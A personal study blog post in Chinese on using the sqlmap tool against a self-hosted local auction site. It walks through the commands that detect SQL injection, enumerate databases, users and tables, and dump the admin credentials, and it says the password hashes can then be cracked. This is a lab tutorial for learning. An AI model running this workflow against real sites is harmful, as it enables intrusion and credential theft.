今天学习了sqlmap的使用,自己又在网上查找了一些学习笔记然后就想在本地搭建的环境上测试使用一下
sqlmap简介
sqlmap支持五种不同的注入模式:
- 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
- 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
- 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 4、联合查询注入,可以使用union的情况下的注入。
- 5、堆查询注入,可以同时执行多条语句的执行时的注入。
测试环境:本地搭建的校园二手拍卖网站http://localhost/paimai/
1、指定目标URL,检测注入
参数:-u 或 –url
使用参数“-u”或“–url”指定一个URL作为目标,该参数后跟一个表示URL的字符串
E:\python\sqlmap>python sqlmap.py -u "http://127.0.0.1/paimai/items_view.php?id=6"
![](https://i-blog.csdnimg.cn/blog_migrate/52541e0a14eb75fb7a22bdce8584d5be.png)
结果显示如上图
注入参数id为GET型
web server :windows
web应用程序技术为:Apache 2.2.21, PHP 5.3.10
数据库类型为:Mysql
注入过程中有若干询问语句,需要用户输入[Y/N],如果你懒得输入或者不懂怎么输入可以让程序自动输入,只需添加一个参数即可,命令如下:
python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --batch
2、列举数据库
参数:--dbs 列举出所有数据库
python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --dbs
11个数据库
3、是否是管理员权限
参数 --is-dba 查看是否是管理员权限
python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --is-dba
结果:
DBA:True表示是管理员权限
4、当前数据库
参数 --current-db 当前数据库
python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --current-db
结果:
5、当前数据库
参数 --current-user 当前用户 --users 所有用户
python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --current-user
结果:
6、列举数据库的表名
参数 --tables 列举数据库的表名
-D:指定数据库名称
不加-D会列出全部的表名,很慢
python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" -D paimai --tables
结果:
七、列出表中字段
参数:-D:指定数据库名称
-T:指定要列出字段的表
--columns:指定列出字段
python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" -D paimai -T user --columns
![](https://i-blog.csdnimg.cn/blog_migrate/a9a5a0291bfda49d206b790eea29df48.png)
八、暴字段内容
参数:
-C :指定要暴的字段
--dump:将结果导出
python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" -D paimai -T admin -C"admin_name,admin_pass" --dump
md5解密后即可得到密码
最后是别人的总结:
-p 指定测试参数
-b 获取banner
--dbs 列举数据库
--is-dba 是否是管理员权限
--current-db 当前数据库
--current-user 当前用户
--tables 列举数据库的表名
--count 检索所有条目数
--columns 获取表的列名
--dump 获取表中的数据,包含列
--dump-all 转存DBMS数据库所有表项目
--level 测试等级(1-5),默认为1
-v 显示详细信息
读取数据库--->读取表---->读取表的列---->获取内容
-D 指定数据库
-T 指定表
-C 指定列
--dbms=mysql oracle mssql 指定数据库